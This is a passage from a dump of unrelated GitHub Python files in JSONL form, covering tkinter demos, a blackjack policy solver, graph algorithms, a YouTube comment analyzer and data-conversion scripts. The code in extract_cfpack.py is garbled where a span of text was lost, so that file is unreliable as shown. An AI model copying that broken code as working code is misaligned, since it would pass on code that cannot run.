window=button1)\n\nroot.mainloop()","repo_name":"TimileyinBakare/amstrongNumberTkinter","sub_path":"amstrongNumber.py","file_name":"amstrongNumber.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"25482105324","text":"import random\nfrom tkinter import *\n\nclass Cake:\n def __init__(self, canvas, x, y, w, h):\n self.canvas, self.x, self.y, self.w, self.h = canvas, x, y, w, h\n self.layers = random.randrange(2, 6)\n self.cakeColour = \"#993322\"\n self.fillColour = \"#\" + \"\".join(random.sample(\"0123456789abcdef\", k=6))\n\n def draw(self):\n x = self.x + self.w / 10\n y = self.y + 3 * self.h / 4\n w = 4 * self.w / 5\n t = w / 10\n tf = c = w / 20\n h = 3 * w / 20\n\n for i in range(self.layers):\n # A bunch of magic\n self.canvas.create_oval(x, y + t, x + w, y + t + h, fill = self.cakeColour, outline = self.cakeColour)\n self.canvas.create_rectangle(x, y + h / 2, x + w, y + t + h /2, fill = self.cakeColour, outline = self.cakeColour)\n self.canvas.create_oval(x, y, x + w, y + h, fill = self.cakeColour, outline = self.cakeColour)\n y -= tf\n self.canvas.create_oval(x, y + tf, x + w, y + tf + h, fill = self.fillColour, outline = self.fillColour)\n self.canvas.create_rectangle(x, y + h / 2, x + w, y + tf + h / 2, fill = self.fillColour, outline = self.fillColour)\n self.canvas.create_oval(x, y, x + w, y + h, fill = self.fillColour)\n y -= t\n\n self.canvas.create_oval(x + w / 2 - c, y +c, x + w / 2 + c, y + 3 * c, fill = \"red\")\n\nclass Window:\n def __init__(self, root):\n self.root = root\n N_ROWS = 6\n N_COLS = 10\n W = 600\n H = 400\n self.root.title = \"Cake\"\n canvas = Canvas(self.root, width=W, height=H, bg=\"white\")\n canvas.grid(column = 0, row = 0)\n\n cakes = []\n for i in range(N_ROWS):\n for j in range(N_COLS):\n cakes.append(Cake(canvas, j * W / N_COLS, i * H / N_ROWS, W / N_COLS, H / N_ROWS))\n for i in cakes: i.draw()\n\n def draw(self): self.root.mainloop()\n\n\nw = Window(Tk())\nw.draw()\n\n","repo_name":"tkern0/misc","sub_path":"School/cake.py","file_name":"cake.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29342093840","text":"# b-*- encoding: utf-8 -*-\n\nimport csv\nimport unicodedata\n\n\ndef elimina_tildes(s):\n if not isinstance(s, unicode):\n s = s.decode('utf-8')\n return ''.join((c for c in unicodedata.normalize('NFD', s) if unicodedata.category(c) != 'Mn'))\n\nheader = ['id', 'code', 'name', 'cliente_o_proveedor', 'sigla_nacion', 'cif_dni', 'codigo_divisa',\n 'user_type_id/id', 'reconcile']\n\n# creating new types\nwith open('../data/plan_contable/account.account.type.csv', 'w') as write_file_type:\n spamwriter = csv.writer(write_file_type, delimiter=';', quotechar='\"')\n spamwriter.writerow(['id', 'name', 'type'])\n spamwriter.writerow(['tipo_clientes', 'Clientes', 'receivable'])\n spamwriter.writerow(['tipo_proveedores', 'Proveedores', 'payable'])\n\nwith open('../data/ficheros_originales/plan_contable.csv', 'r') as csvfile:\n with open('../data/plan_contable/account.account.csv', 'w') as write_file:\n spamreader = csv.reader(csvfile, delimiter=';')\n spamwriter = csv.writer(write_file, delimiter=';', quotechar='\"')\n spamwriter.writerow(header)\n row_num = 0\n for row in spamreader:\n row_num += 1\n if row_num == 1:\n # omitimos la cabecera\n continue\n cliente_o_proveedor = row[2].strip()\n if cliente_o_proveedor == 'Cliente':\n tipo_cuenta = 'tipo_clientes'\n elif cliente_o_proveedor == 'Proveedor':\n tipo_cuenta = 'tipo_proveedores'\n else:\n tipo_cuenta = 'l10n_es.account_type_terceros'\n row_aux = [row[0].strip(), row[0].strip(), row[1].strip(), cliente_o_proveedor,\n row[3].strip(), row[4].strip(), row[5].strip(), tipo_cuenta, True]\n spamwriter.writerow(row_aux)\n","repo_name":"pedroguirao/addons-cubells","sub_path":"talleres_cubells/scripts_parse_files/script-cuentas.py","file_name":"script-cuentas.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22443002341","text":"import json\nimport os\nimport re\nimport struct\nimport sys\nfrom time import strftime\n\ndef get_unicode(ch):\n\tif sys.version > '3':\n\t\treturn chr(ch)\n\telse:\n\t\treturn unichr(ch)\n\ndef extract_file():\n\twith open(pack_path, 'rb') as f:\n\t\taddition_info, cats = {}, []\n\t\tsmileys = {}\n\t\tstart_char = START_CHAR\n\n\t\tif not os.path.exists(SMILEYS_ROOT):\n\t\t\tprint(\"Created smileys dir\" + SMILEYS_ROOT)\n\t\t\tos.mkdir(SMILEYS_ROOT)\n\t\tsize = struct.unpack('= count:\n\t\traise SyntaxError('File is not valid')\n\tsize = ord(f.read(1)) * 2\n\talias = (f.read(size)).decode('utf-16le')\n\tf.seek(1, 1) # 0\n\tsize = struct.unpack('> doesn't exist\" % pack_path)\n\tinfo = extract_file()\n\tcreate_json_info(info)\n\tprint(strftime('[%H:%M:%S] Done.'))\n\n\next = {\n\tb'\\x47\\x49': 'gif',\n\tb'\\xff\\xd8': 'jpg',\n\tb'\\x89\\x50': 'png',\n\tb'\\x42\\x4d': 'bmp'\n}\n\nfile_names_pattern = {\n\t\"I\" : \"base\",\n\t\"II\" : \"girls\",\n\t\"III\": \"extra\"\n}\n\nSTART_CHAR = 13313\nroot_path=os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir))\nSMILEYS_ROOT = os.sep.join((root_path, 'src', 'assets', 'smileys'))\nOUTPUT_TS_FILE = os.sep.join((root_path, 'src', 'utils', 'staticFiles.ts'))\nsmiley_pattern = re.compile(r'^:.*:$')\npack_path = os.sep.join((root_path, 'build', 'DefaultSmilies.cfpack'))\n\nhandle()\n","repo_name":"akoidan/pychat","sub_path":"frontend/build/extract_cfpack.py","file_name":"extract_cfpack.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":228,"dataset":"github-code","pt":"60"} +{"seq_id":"4942314268","text":"from math import inf\n\n\ndef bellman_ford_minimum(graph, v, start):\n dist = [inf] * v\n dist[start] = 0\n\n for _ in range(v - 1):\n is_updated = False\n for i in graph:\n for j, w in graph[i]:\n if dist[i] + w < dist[j]:\n dist[j] = dist[i] + w\n is_updated = True\n if not is_updated:\n break\n\n for i in graph:\n for j, w in graph[i]:\n if dist[j] > dist[i] + w:\n return False, dist\n\n return True, dist\n","repo_name":"tfcp68/manual-projects","sub_path":"Исходники/Глава 2. Часть 2/Динамическое программирование2/На графах/2. Путь минимальной стоимости/Python/minimum_cost_path.py","file_name":"minimum_cost_path.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22964768354","text":"import sys\nargs = sys.argv\n\np = float(args[1])\n# p = float(raw_input())\n\n\ncomplement_p = (1-p)/9\nhard = [[0.0 for i in range(6)] for i in range(22)]\nhard[21][4] = 1\nhard[20][3] = 1\nhard[19][2] = 1\nhard[18][1] = 1\nhard[17][0] = 1\nfor i in range(16,10,-1):\n\tfor j in range(6):\n\t\tfor k in range(1,10):\n\t\t\tif (k + i <= 21):\n\t\t\t\thard[i][j] += complement_p * hard[k+i][j]\n\t\t\telif j == 5:\n\t\t\t\thard[i][j] += complement_p\n\t\tif (10 + i <= 21):\n\t\t\t\thard[i][j] += p * hard[10+i][j]\n\t\telif j == 5:\n\t\t\thard[i][j] += p\nfor i in range(10,5,-1):\n\tfor j in range(6):\n\t\tfor k in range(2,10) + [11]:\n\t\t\tif (k + i <= 21):\n\t\t\t\thard[i][j] += complement_p * hard[k+i][j]\n\t\t\telif j == 5:\n\t\t\t\thard[i][j] += complement_p\n\t\tif (10 + i <= 21):\n\t\t\t\thard[i][j] += p * hard[10+i][j]\n\t\telif j == 5:\n\t\t\thard[i][j] += p\n# for i in hard:\n# \tprint i,\" - \",sum(i)\n\n\nsoft = [[0.0 for i in range(6)] for i in range(22)]\nsoft[21][4] = 1\nsoft[20][3] = 1\nsoft[19][2] = 1\nsoft[18][1] = 1\nsoft[17][0] = 1\nfor i in range(16,10,-1):\n\tfor j in range(6):\n\t\tfor k in range(1,10):\n\t\t\tif (k + i <= 21):\n\t\t\t\tsoft[i][j] += complement_p * soft[i+k][j]\n\t\t\telse:\n\t\t\t\tsoft[i][j] += complement_p * hard[i+k-10][j]\n\t\tif (10 + i <= 21):\n\t\t\tsoft[i][j] += p * soft[i+10][j]\n\t\telse:\n\t\t\tsoft[i][j] += p * hard[i][j]\nfor i in range(5,1,-1):\n\tfor j in range(6):\n\t\tfor k in range(2,10):\n\t\t\thard[i][j] += complement_p * hard[k+i][j]\n\t\thard[i][j] += p * hard[10+i][j]\n\t\thard[i][j] += complement_p * soft[11+i][j]\n\n# print \"The value of complement is \", complement_p\n# for i in hard:\n# \tprint i,\" - \",sum(i)\n# print \"Soft ---------------------------\"\n# for i in soft:\n# \tprint i,\" - \",sum(i)\n\nstandPayoff = [[0.0 for i in range(22)] for i in range(12)]\n\nfor i in range(2,11):\n\tfor j in range(22):\n\t\tfor k in range(5):\n\t\t\tif (17 + k > j):\n\t\t\t\tstandPayoff[i][j] += hard[i][k] * (-1)\n\t\t\telif (17 + k < j):\n\t\t\t\tstandPayoff[i][j] += hard[i][k] * (1)\n\t\tstandPayoff[i][j] += hard[i][5] * 1\nfor j in range(22):\n\tfor k in range(5):\n\t\tif (17 + k > j):\n\t\t\tstandPayoff[11][j] += soft[11][k] * (-1)\n\t\telif (17 + k < j):\n\t\t\tstandPayoff[11][j] += soft[11][k] * (1)\n\tstandPayoff[11][j] += soft[11][5] * 1\n\nstandPayoff[11][21] += p * (-1)\nstandPayoff[10][21] += complement_p * (-1)\n\n# print\n# for i in range(len(standPayoff)):\n# \tprint i,\" ..... \", standPayoff[i]\n# \tprint\n# \tprint\n\n\n###########################################\n\nbestHardHitOrStandPayoff = [[0.0 for i in range(22)] for i in range(12)]\nhardDoublePayoff = [[0.0 for i in range(22)] for i in range(12)]\nhardHitPayoff = [[0.0 for i in range(22)] for i in range(12)]\nbestHardPayoff = [[0.0 for i in range(22)] for i in range(12)]\nbestHardMove = [[\"\" for i in range(22)] for i in range(12)]\nfor i in range(12):\n\tbestHardHitOrStandPayoff[i][21] = standPayoff[i][21]\n\nfor i in range(2,12,1):\n\tfor j in range(21,10,-1):\n\t\thitPayoff = 0.0\n\t\tdoublePayoff = 0.0\n\t\tfor k in range(1,10,1):\n\t\t\tif (k + j <= 21):\n\t\t\t\thitPayoff += complement_p * bestHardHitOrStandPayoff[i][k+j]\n\t\t\t\tdoublePayoff += 2 * complement_p * standPayoff[i][k+j]\n\t\t\telse:\n\t\t\t\thitPayoff += complement_p * (-1)\n\t\t\t\tdoublePayoff += 2 * complement_p * (-1)\n\t\tif (10 + j <= 21):\n\t\t\thitPayoff += p * bestHardHitOrStandPayoff[i][10+j]\n\t\t\tdoublePayoff += 2 * p * standPayoff[i][10+j]\n\t\telse:\n\t\t\thitPayoff += p * (-1)\n\t\t\tdoublePayoff += 2 * p * (-1)\n\n\t\tbestHardHitOrStandPayoff[i][j] = max(hitPayoff,standPayoff[i][j])\n\t\thardDoublePayoff[i][j] = doublePayoff\n\t\thardHitPayoff[i][j] = hitPayoff\n\t\tbestHardPayoff[i][j] = max(hardHitPayoff[i][j], standPayoff[i][j], hardDoublePayoff[i][j])\n\t\tif (bestHardPayoff[i][j] == hardHitPayoff[i][j]):\n\t\t\tbestHardMove[i][j] = \"H\"\n\t\telif(bestHardPayoff[i][j] == standPayoff[i][j]):\n\t\t\tbestHardMove[i][j] = \"S\"\n\t\telse:\n\t\t\tbestHardMove[i][j] = \"D\"\n\n# print\n# print\n\n\nbestSoftHitOrStandPayoff = [[0.0 for i in range(22)] for i in range(12)]\nsoftHitPayoff = [[0.0 for i in range(22)] for i in range(12)]\nsoftDoublePayoff = [[0.0 for i in range(22)] for i in range(12)]\nbestSoftPayoff = [[0.0 for i in range(22)] for i in range(12)]\nbestSoftMove = [[\"\" for i in range(22)] for i in range(12)]\nfor i in range(12):\n\tbestSoftHitOrStandPayoff[i][21] = standPayoff[i][21]\n\nfor i in range(2,12,1):\n\tfor j in range(20,11,-1):\n\t\thitPayoff = 0.0\n\t\tdoublePayoff = 0.0\n\t\tfor k in range(1,10,1):\n\t\t\tif (k + j <= 21):\n\t\t\t\thitPayoff += complement_p * bestSoftHitOrStandPayoff[i][k+j]\n\t\t\t\tdoublePayoff += 2 * complement_p * standPayoff[i][k+j]\n\t\t\telse:\n\t\t\t\thitPayoff += complement_p * bestHardHitOrStandPayoff[i][k+j-10]\n\t\t\t\tdoublePayoff += 2 * complement_p * standPayoff[i][k+j-10]\n\n\t\thitPayoff += p * bestHardHitOrStandPayoff[i][j]\n\t\tdoublePayoff += 2 * p * standPayoff[i][j]\n\n\t\tbestSoftHitOrStandPayoff[i][j] = max(hitPayoff,standPayoff[i][j])\n\t\tsoftHitPayoff[i][j] = hitPayoff\n\t\tsoftDoublePayoff[i][j] = doublePayoff\n\t\tbestSoftPayoff[i][j] = max(softHitPayoff[i][j], standPayoff[i][j], softDoublePayoff[i][j])\n\t\tif (bestSoftPayoff[i][j] == softHitPayoff[i][j]):\n\t\t\tbestSoftMove[i][j] = \"H\"\n\t\telif(bestSoftPayoff[i][j] == standPayoff[i][j]):\n\t\t\tbestSoftMove[i][j] = \"S\"\n\t\telse:\n\t\t\tbestSoftMove[i][j] = \"D\"\n\t\t# if(j==18 and i==11):\n\t\t# \tprint \"Printing the incorrect case\"\n\t\t# \tprint hitPayoff,standPayoff[i][j],doublePayoff\n\n\n# print\n# print \"StandPayoff\"\n# for i in range(2,12,1):\n# \tfor j in range(20,12,-1):\n# \t\tprint standPayoff[i][j],\n# \tprint\n# print\nfor i in range(2,12,1):\n\tfor j in range(10,3,-1):\n\t\thitPayoff = 0.0\n\t\tdoublePayoff = 0.0\n\t\tfor k in range(1,10,1):\n\t\t\tif(k==1):\n\t\t\t\tif(j + 11 <=21):\n\t\t\t\t\thitPayoff += complement_p * bestSoftHitOrStandPayoff[i][j+11]\n\t\t\t\t\tdoublePayoff += 2 * complement_p * max(standPayoff[i][k+j], standPayoff[i][11+j])\n\t\t\t\telse:\n\t\t\t\t\thitPayoff += complement_p * bestHardHitOrStandPayoff[i][j+k]\n\t\t\t\t\tdoublePayoff += 2 * complement_p * standPayoff[i][k+j]\n\t\t\telif (k + j <= 21):\n\t\t\t\thitPayoff += complement_p * bestHardHitOrStandPayoff[i][k+j]\n\t\t\t\tdoublePayoff += 2 * complement_p * standPayoff[i][k+j]\n\t\t\telse:\n\t\t\t\thitPayoff += complement_p * (-1)\n\t\t\t\tdoublePayoff += 2 * complement_p * (-1)\n\t\tif (10 + j <= 21):\n\t\t\thitPayoff += p * bestHardHitOrStandPayoff[i][10+j]\n\t\t\tdoublePayoff += 2 * p * standPayoff[i][10+j]\n\t\telse:\n\t\t\thitPayoff += p * (-1)\n\t\t\tdoublePayoff += 2 * p * (-1)\n\n\t\tbestHardHitOrStandPayoff[i][j] = max(hitPayoff,standPayoff[i][j])\n\t\thardDoublePayoff[i][j] = doublePayoff\n\t\thardHitPayoff[i][j] = hitPayoff\n\t\tbestHardPayoff[i][j] = max(hardHitPayoff[i][j], standPayoff[i][j], hardDoublePayoff[i][j])\n\t\tif (bestHardPayoff[i][j] == hardHitPayoff[i][j]):\n\t\t\tbestHardMove[i][j] = \"H\"\n\t\telif(bestHardPayoff[i][j] == standPayoff[i][j]):\n\t\t\tbestHardMove[i][j] = \"S\"\n\t\telse:\n\t\t\tbestHardMove[i][j] = \"D\"\nsplitPayoff = [[0.0 for i in range(12)] for i in range(12)]\nbestPairPayoff = [[0.0 for i in range(12)] for i in range(12)]\nbestPairMove = [['' for i in range(12)] for i in range(12)]\nfor i in range(2,11):\n\tfor j in range(2,12):\n\t\tfor k in range(2,10):\n\t\t\tif (i != k):\n\t\t\t\tsplitPayoff[i][j] += 2 * complement_p * bestHardPayoff[j][i+k]\n\t\tif (i!=10):\n\t\t\tsplitPayoff[i][j] += 2 * p * bestHardPayoff[j][i+10]\n\t\tif (i!=10):\n\t\t\tsplitPayoff[i][j] += 2 * complement_p * bestSoftPayoff[j][i+11]\n\t\telse:\n\t\t\tprob_dealer_blackjack = 0.0\n\t\t\tif (j == 11):\n\t\t\t\tprob_dealer_blackjack = p\n\t\t\telif (j == 10):\n\t\t\t\tprob_dealer_blackjack = complement_p\n\t\t\tsplitPayoff[i][j] += 2 * complement_p * (1 - prob_dealer_blackjack) * 1.5\n\t\tif (i != 10):\n\t\t\tsplitPayoff[i][j] *= 1.0/(1-2*complement_p)\n\t\telse:\n\t\t\tsplitPayoff[i][j] *= 1.0/(1-2*p)\n\t\tbestPairPayoff[i][j] = max(splitPayoff[i][j], bestHardPayoff[j][2*i])\n\t\tif (bestPairPayoff[i][j] == splitPayoff[i][j]):\n\t\t\tbestPairMove[i][j] = \"P\"\n\t\telse:\n\t\t\tbestPairMove[i][j] = bestHardMove[j][2*i]\nfor j in range(2,12):\n\tfor k in range(1,10):\n\t\tsplitPayoff[11][j] += 2 * complement_p * standPayoff[j][k+11]\n\tsplitPayoff[11][j] += 2 * p * standPayoff[j][21]\n\tbestPairPayoff[11][j] = max(splitPayoff[11][j], bestSoftPayoff[j][12])\n\tif (bestPairPayoff[11][j] == splitPayoff[11][j]):\n\t\tbestPairMove[11][j] = \"P\"\n\telse:\n\t\tbestPairMove[11][j] = bestSoftMove[j][12]\n\n# print \"PAIRS\"\n# print\n# for i in range(2,12):\n# \tif (i <= 9):\n# \t\tprint \"\",i,\" - \",\n# \telse:\n# \t\tprint i,\" - \",\n# \tfor j in range(2,12):\n# \t\tprint bestPairMove[i][j],\n# \tprint\n#\n#\n# print\n# print\n# print\n# for j in range(5,22):\n# \tif (j <= 9):\n# \t\tprint \"\",j,\" - \",\n# \telse:\n# \t\tprint j,\" - \",\n# \tfor i in range(2,12):\n# \t\tprint bestHardMove[i][j],\n# \tprint\n# print\n# print\n# print \"Soft Payoffs are being printed\"\n# for j in range(13,21):\n# \tif (j <= 9):\n# \t\tprint \"\",j,\" - \",\n# \telse:\n# \t\tprint j,\" - \",\n# \tfor i in range(2,12):\n# \t\tprint bestSoftMove[i][j],\n# \tprint\n\nf = open(\"Policy.txt\", 'w')\ns=\"\"\nfor i in range(5,20):\n\ts=\"\"\n\ts = s + str(i) + \"\\t\"\n\t# print >>f,i,\"\\t\",\n\tfor j in range(2,11):\n\t\ts = s+ bestHardMove[j][i] + \" \"\n\ts = s+ bestHardMove[11][i]\n\t\t# print >>f,bestHardMove[j][i],\n\tprint >>f,s\n\ncount=2\nfor i in range(13,21):\n\ts=\"\"\n\t# print >>f,\"A\"+str(count)+\"\\t\",\n\ts = s+ \"A\"+str(count)+\"\\t\"\n\tfor j in range(2,11):\n\t\ts=s+bestSoftMove[j][i] + \" \"\n\t\t# print >>f,bestSoftMove[j][i],\n\t# print >>f\n\ts = s+ bestSoftMove[11][i]\n\tprint >> f,s\n\tcount += 1\n\nfor i in range(2,11):\n\ts=\"\"\n\ts=s+str(i)+str(i)+\"\\t\"\n\t# print>>f, str(i)+str(i)+\"\\t\",\n\tfor j in range(2,11):\n\t\ts=s+bestPairMove[i][j] + \" \"\n\t\t# print>>f, bestPairMove[i][j],\n\ts=s+ bestPairMove[i][11]\n\tprint >>f,s\ns=\"\"\ns=s+\"AA\\t\"\n# print >>f, \"AA\\t\",\nfor j in range(2,11):\n\ts=s+bestPairMove[11][j]+\" \"\n\t# print>>f, bestPairMove[11][j],\ns=s+bestPairMove[11][11]\nprint >>f,s,\nf.close()\n","repo_name":"animeshsinghjay/ai-blackjack","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":9427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"37212035848","text":"n=int(input(\"Enter a Number of subject:\"))\ncredit=[]\ngrade=[]\nfor i in range(n):\n cre=int(input(\"Enter subject credit:\"))\n gra=input(\"Enter your subject Grade:\")\n credit.append(cre)\n grade.append(gra)\n\nvalue={\n \"o\":10,\n \"a+\":9,\n \"a\":8,\n \"b+\":7,\n \"b\":6,\n \"u\":0\n}\n\nmark=0\nfor i in range(n):\n mark+=value[grade[i]]*credit[i]\n\ncretot=0\nfor i in range(n):\n if(grade[i]==\"u\"):\n credit[i]=0\n cretot+=credit[i]\n\ntotal=mark/cretot\nprint(\"your GPA is\",total)","repo_name":"Jey1622/GPA_Calculator","sub_path":"gpa_calculator.py","file_name":"gpa_calculator.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"1238483020","text":"import typing\n\n\nclass FindDivisors():\n def __call__(\n self,\n n: int,\n ) -> typing.List[int]:\n a = []\n i = 1\n while i * i < n:\n if n % i:\n i += 1\n continue\n a.append(i)\n a.append(n // i)\n i += 1\n if i * i == n: a.append(i)\n a.sort()\n return a\n\n\ndef main() -> typing.NoReturn:\n mod = 998244353\n p = int(input())\n n = p - 1\n\n divs = FindDivisors()(n)\n divs = divs[::-1]\n l = len(divs)\n cnt = [0] * l\n for i in range(l):\n d = divs[i]\n c = n // d\n for j in range(i):\n if divs[j] % d: continue\n c -= cnt[j]\n cnt[i] = c % mod\n\n s = 1\n for i in range(l):\n s += n // divs[i] * cnt[i]\n s %= mod\n print(s)\n\n\nmain()\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/abc212/abc212_g/24720137.py","file_name":"24720137.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"74786706112","text":"import re\nimport math\nimport urllib.request\nimport os\nimport subprocess\nimport json\nimport pandas as pd\n\nAPI_KEY = '{YOUR API KEY HERE}'\n\nprint('YouTube Comment Analyzer')\nprint('------------------------')\n\ndef analyzeData():\n\tcount = subprocess.check_output(\"jq '.items | length' data.json\", shell=True)\n\tprint('{} comments successfully processed'.format(int(count)))\n\n\twith open('data.json') as f:\n\t\tdata = json.load(f)\n\n\t\tdf = pd.json_normalize(data, 'items')\n\n\t\t# sort by date, likeCount, etc.\n\t\tdf = df.sort_values(by=['snippet.topLevelComment.snippet.publishedAt'], ascending=False)\n\t\t\n\t\t# create url from videoId for quick access\n\t\tdf['snippet.videoId'] = df['snippet.videoId'].map('https://youtu.be/{}'.format)\n\t\tdf['snippet.videoId'] = df[['snippet.videoId', 'id']].agg('&lc='.join, axis=1)\n\n\t\t# limit values to include in csv\n\t\tdf = df[['snippet.videoId', 'snippet.topLevelComment.snippet.publishedAt', 'snippet.topLevelComment.snippet.likeCount', 'snippet.topLevelComment.snippet.textOriginal']]\n\n\t\tdf.to_csv('data.csv', encoding='utf-8', index=False)\n\t\tprint('Analyzing Complete - See data.csv for results')\n\nif os.path.exists('data.json'):\n\tanalyzeData()\n\tquit()\n\n#1 - parse my-comments.html for comment ids\npath = 'Takeout/YouTube and YouTube Music/my-comments/'\ncommentIds = []\n\nwith open(path + 'my-comments.html') as f:\n\thtml = f.read()\n\t# use regex to capture comment id in self-posted top level comments\n\tfor match in re.finditer('You added a.*?&lc=((?!\\.).*?)\\\">comment', html):\n\t\tcommentIds.append(match.group(1))\n\nprint('Found {} potential comments'.format(len(commentIds)))\n\n\n#2 - fetch comment details in json format (max of 50 ids per request)\nurl = 'https://www.googleapis.com/youtube/v3/commentThreads?part=snippet&key={}'.format(API_KEY)\nfetchUrl = url\nfetchLimit = 50\n\nfetchNum = 0\nidForFetch = 0\nnumFetches = math.ceil(len(commentIds) / 50)\n\ndef fetchComments(fetchUrl, fetchNum, idForFetch):\n\tif not os.path.exists('data'):\n\t\tos.makedirs('data')\n\tprint('... data/{}.json'.format(fetchNum))\n\turllib.request.urlretrieve(fetchUrl, 'data/{}.json'.format(fetchNum))\n\n\tfetchNum += 1\t\n\tfetchUrl = url\n\tidForFetch = 0\n\treturn fetchUrl, fetchNum, idForFetch\n\nprint('Downloading comments')\n\nfor commentId in commentIds:\n\tfetchUrl += '&id={}'.format(commentId)\n\tidForFetch += 1\n\tif idForFetch == fetchLimit:\n\t\tfetchUrl, fetchNum, idForFetch = fetchComments(fetchUrl, fetchNum, idForFetch)\n\n# if we have leftover ids (always unless % 50)\nif idForFetch > 0:\n\tfetchUrl, fetchNum, idForFetch = fetchComments(fetchUrl, fetchNum, idForFetch)\n\n# combine json into master data.json\n# to get number of successful records: jq '.items | length' data.json\nos.system(\"jq -s '.[0].items=([.[].items]|flatten)|.[0]' data/*.json > data.json\")\n\nanalyzeData()\n","repo_name":"kylejohnsonkj/youtube-comment-analyzer","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34865478995","text":"import requests\nimport re\nfrom utils import config\n\n\nclass DownloadHandler:\n def __init__(self):\n self.config = config.load_config()\n \n def download_from_url(self, url):\n print(f\"Downloading from: {url}\")\n r = requests.get(url, allow_redirects=True)\n filename = ''\n if \"Content-Disposition\" in r.headers.keys():\n filename = re.findall(\"filename=(.+)\", r.headers[\"Content-Disposition\"])[0]\n else:\n filename = url.split(\"/\")[-1]\n return [ filename, r.content ]","repo_name":"cnmorgan/spsm","sub_path":"src/jmanager/handlers/download_handler.py","file_name":"download_handler.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8399055889","text":"import os\nimport pandas as pd\nimport click\n\nfrom src.utils.click_commands import InputCommand\n\n\n@click.command(cls=InputCommand)\ndef aggregate_metrics(input, output, **kwargs):\n path_to_tables = input.split()\n full_df = pd.DataFrame()\n for path in path_to_tables:\n ticker = os.path.split(path)[-1].replace('metrics_', '').replace('.csv', '')\n df = pd.read_csv(path)\n df['ticker'] = ticker\n df = df.set_index(['ticker', 'metric'])\n df = df.melt(var_name='model', ignore_index=False)\n full_df = full_df.append(df)\n\n full_df.to_csv(output)\n\n\nif __name__ == '__main__':\n aggregate_metrics() # noqa\n","repo_name":"svkov/time-series-forecasting","sub_path":"src/plots/aggregate_metrics.py","file_name":"aggregate_metrics.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24097037685","text":"from scipy.interpolate import lagrange\nfrom numpy.polynomial.polynomial import Polynomial\nimport math\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef cal_log_mse (poly, test_set):\n\ty_val= []\n\tfor i in range(0,len(test_set)):\n\t\ty_val.append(Polynomial(poly.coef[::-1])(test_set[i]))\n\n\terr_n = []\n\tfor i in range(0,len(test_set)):\n\t\terr_n.append(math.sin(test_set[i]) - y_val[i])\n\n\tsum_err = 0\n\tfor i in err_n:\n\t\tsum_err = sum_err + i*i\n\tsum_err = sum_err/len(test_set)\n\n\treturn math.log(sum_err)\n\t\t\n\n\n\n\na=0\nb=math.pi\ntraining_set_base = np.linspace(a,b,100).tolist()\ntest_set = np.linspace(a,b,50).tolist()\ny= []\nfor i in training_set_base:\n\ty.append(math.sin(i))\n\npoly = lagrange(training_set_base,y)\n\n#Calculate training_error\n\nprint (\"MSE on training set without noise \", str(cal_log_mse(poly, training_set_base)))\nprint (\"MSE on test set without noise \", str(cal_log_mse(poly, test_set)))\n\n\nvariance = [1, 1.5, 2, 2.5, 3, 3.5, 4]\n\nfor var in variance:\n\tnoise = np.random.normal(0, var, 100)\n\n\ttraining_set_with_noise = []\n\t\n\tfor i in range(0,len(training_set_base)):\n\t\ttraining_set_with_noise.append(training_set_base[i] +noise[i])\n\t\n\ty=[]\n\tfor i in training_set_with_noise:\n\t\ty.append(math.sin(i))\n\n\tpoly = lagrange(training_set_with_noise,y)\n\t\n\tprint (\"MSE on training set with noise with variance \"+ str(var) + \" is: \"+ str(cal_log_mse(poly, training_set_with_noise)))\n\t\n\tprint (\"MSE on test set with noise with variance \"+ str(var) + \" is: \"+ str(cal_log_mse(poly, test_set)))\n\n\n\n\n\n\n\n\t \n\n\n\n\n\n","repo_name":"mandius/CS760_homeworks","sub_path":"HW2/problem_4.py","file_name":"problem_4.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31865394469","text":"import networkx as nx\n\nfrom ngt.game import Game\nfrom ngt.rules import ActionSpace\nfrom ngt.player import Player, EntityType\nfrom ngt.plot import plot\n\nfrom ngt.functions.utility import Utility\nfrom ngt.functions.action_strategy import ActionStrategy\n\nif __name__ == '__main__':\n\n # Create the game\n\n graph = nx.Graph()\n graph.add_nodes_from(list(range(10)))\n\n game_info = {\n 'nb_players': 10,\n 'nb_time_steps': 10,\n 'action_space': ActionSpace.edge,\n 'impossible_action': set((0, 1)),\n 'graph': graph,\n }\n\n game = Game(**game_info)\n\n # Add some players\n\n player_info = {\n 'name': 'Jack',\n 'utility_function': Utility.betweenness_centrality,\n 'action_strategy': ActionStrategy.myopic_greedy,\n # 'reaction_strategy': None,\n }\n player_info_2 = {\n 'name': 'John',\n # 'type': EntityType.human,\n 'utility_function': Utility.betweenness_centrality,\n 'action_strategy': ActionStrategy.myopic_greedy,\n # 'reaction_strategy': None,\n }\n\n game.add_player(Player(**player_info))\n # game.add_player(Player(**player_info_2))\n\n # Play the game\n\n 